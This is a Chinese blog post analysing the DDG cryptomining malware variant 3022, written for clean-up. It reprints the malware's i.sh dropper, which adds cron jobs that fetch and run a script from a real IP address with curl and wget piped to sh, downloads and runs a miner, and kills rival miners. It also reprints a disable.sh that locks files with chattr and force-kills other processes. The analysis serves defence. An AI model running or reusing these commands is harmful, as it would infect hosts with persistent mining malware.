DDG全家桶之3022

最新推荐文章于 2025-05-23 21:14:30 发布

bansu1062

最新推荐文章于 2025-05-23 21:14:30 发布

阅读量273

点赞数 1

文章标签： awk php

原文链接：http://www.cnblogs.com/Id3al/p/10706324.html

版权

本篇文章主要根据360Netlab新出的DDG分析文档来复现新变种3022，会涉及部分分析和清除的方法，
本篇文章只用于学习交流，为广大受害者提供清除思路，请勿用于非法用途，产生一切后果与作者无关
详情请参考文档：https://blog.netlab.360.com/fast-analyze-ddg-v3021-and-v3022/

一、下载

下载脚本：http://119.9.106.27:8000/i.sh（i.sh名称位ddgs一贯的作风）

样本地址：119.9.106.27:8000/static/3022/

首先下载i.sh脚本分析下里边的内容

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "*/15 * * * * (curl -fsSL http://119.9.106.27:8000/i.sh||wget -q -O- http://119.9.106.27:8000/i.sh) | sh" | crontab -

echo "" > /var/spool/cron/root

echo "*/15 * * * * wget -q -O- http://119.9.106.27:8000/i.sh | sh" >> /var/spool/cron/root

mkdir -p /var/spool/cron/crontabs
echo "" > /var/spool/cron/crontabs/root

echo "*/15 * * * * wget -q -O- http://119.9.106.27:8000/i.sh | sh" >> /var/spool/cron/crontabs/root

cd /tmp
touch /usr/local/bin/writeable && cd /usr/local/bin/
touch /usr/libexec/writeable && cd /usr/libexec/
touch /usr/bin/writeable && cd /usr/bin/
rm -rf /usr/local/bin/writeable /usr/libexec/writeable /usr/bin/writeable

export PATH=$PATH:$(pwd)
ps auxf | grep -v grep | grep lrnbbce || rm -rf lrnbbce
if [ ! -f "lrnbbce" ]; then
    wget -q http://119.9.106.27:8000/static/3022/ddgs.$(uname -m) -O lrnbbce

fi
chmod +x lrnbbce
$(pwd)/lrnbbce || /usr/bin/lrnbbce || /usr/libexec/lrnbbce || /usr/local/bin/lrnbbce || lrnbbce || ./lrnbbce || /tmp/lrnbbce

ps auxf | grep -v grep | grep lrnbbcb | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep lrnbbcc | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep lrnbbcd | awk '{print $2}' | xargs kill -9`

ddg木马的老套路了，写环境变量、添加到定时任务、下载矿机执行、删除禁用其他挖矿木马(挖矿行业竞争很激烈了)
从3014版本开始增加了云端配置下发 disable.sh 来集中干掉竞争对手，
脚本地址：http://119.9.106.27:8000/static/disable.sh，内容如下

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

mkdir -p /opt/yilu/work/{xig,xige} /usr/bin/bsd-port
touch /opt/yilu/mservice /opt/yilu/work/xig/xig /opt/yilu/work/xige/xige /tmp/thisxxs /usr/bin/.sshd /usr/bin/bsd-port/getty /usr/bin/bsd-port/.dbus /usr/bin/bsd-port/nmi /tmp/php /tmp/name /tmp/xc.x86_64
chmod -w /opt/yilu/work/xig /opt/yilu/work/xige /usr/bin/bsd-port
chmod -x /opt/yilu/mservice /opt/yilu/work/xig/xig /opt/yilu/work/xige/xige /tmp/thisxxs /usr/bin/.sshd /usr/bin/bsd-port/getty /usr/bin/bsd-port/.dbus /usr/bin/bsd-port/nmi /tmp/php /tmp/name /tmp/xc.x86_64
chattr +i /opt/yilu/mservice /opt/yilu/work/xig/xig /opt/yilu/work/xige/xige /tmp/thisxxs /usr/bin/.sshd /usr/bin/bsd-port/getty /usr/bin/bsd-port/.dbus /usr/bin/bsd-port/nmi /tmp/php /tmp/name /tmp/xc.x86_64

rm -rf /etc/init.d/{DbSecuritySpt,selinux} /etc/rc{1..5}.d/S97DbSecuritySpt /etc/rc{1..5}.d/S99selinux
touch /etc/init.d/{DbSecuritySpt,selinux} /etc/rc{1..5}.d/S97DbSecuritySpt /etc/rc{1..5}.d/S99selinux
chmod -rw /etc/init.d/{DbSecuritySpt,selinux} /etc/rc{1..5}.d/S97DbSecuritySpt /etc/rc{1..5}.d/S99selinux
chattr +i /etc/init.d/{DbSecuritySpt,selinux} /etc/rc{1..5}.d/S97DbSecuritySpt /etc/rc{1..5}.d/S99selinux


if [ -e "/tmp/gates.lod" ]; then
    rm -rf $(readlink /proc/$(cat /tmp/gates.lod)/exe)
    kill -9 $(cat /tmp/gates.lod)
    rm -rf $(readlink /proc/$(cat /tmp/moni.lod)/exe)
    kill -9 $(cat /tmp/moni.lod)
    rm -rf /tmp/{gates,moni}.lod
fi

ps auxf | grep -v grep | grep /tmp/thisxxs | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep /opt/yilu/work/xig/xig | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep /opt/yilu/mservice | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep /usr/bin/.sshd | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep /usr/bin/bsd-port | awk '{print $2}' | xargs kill -9

把同类的挖矿进程放到了这个脚本中，来杀掉yilu、以及BillGate家族的gates进程等
不过这都是之前版本的，现在这个更高级了，直接下发二进制程序disable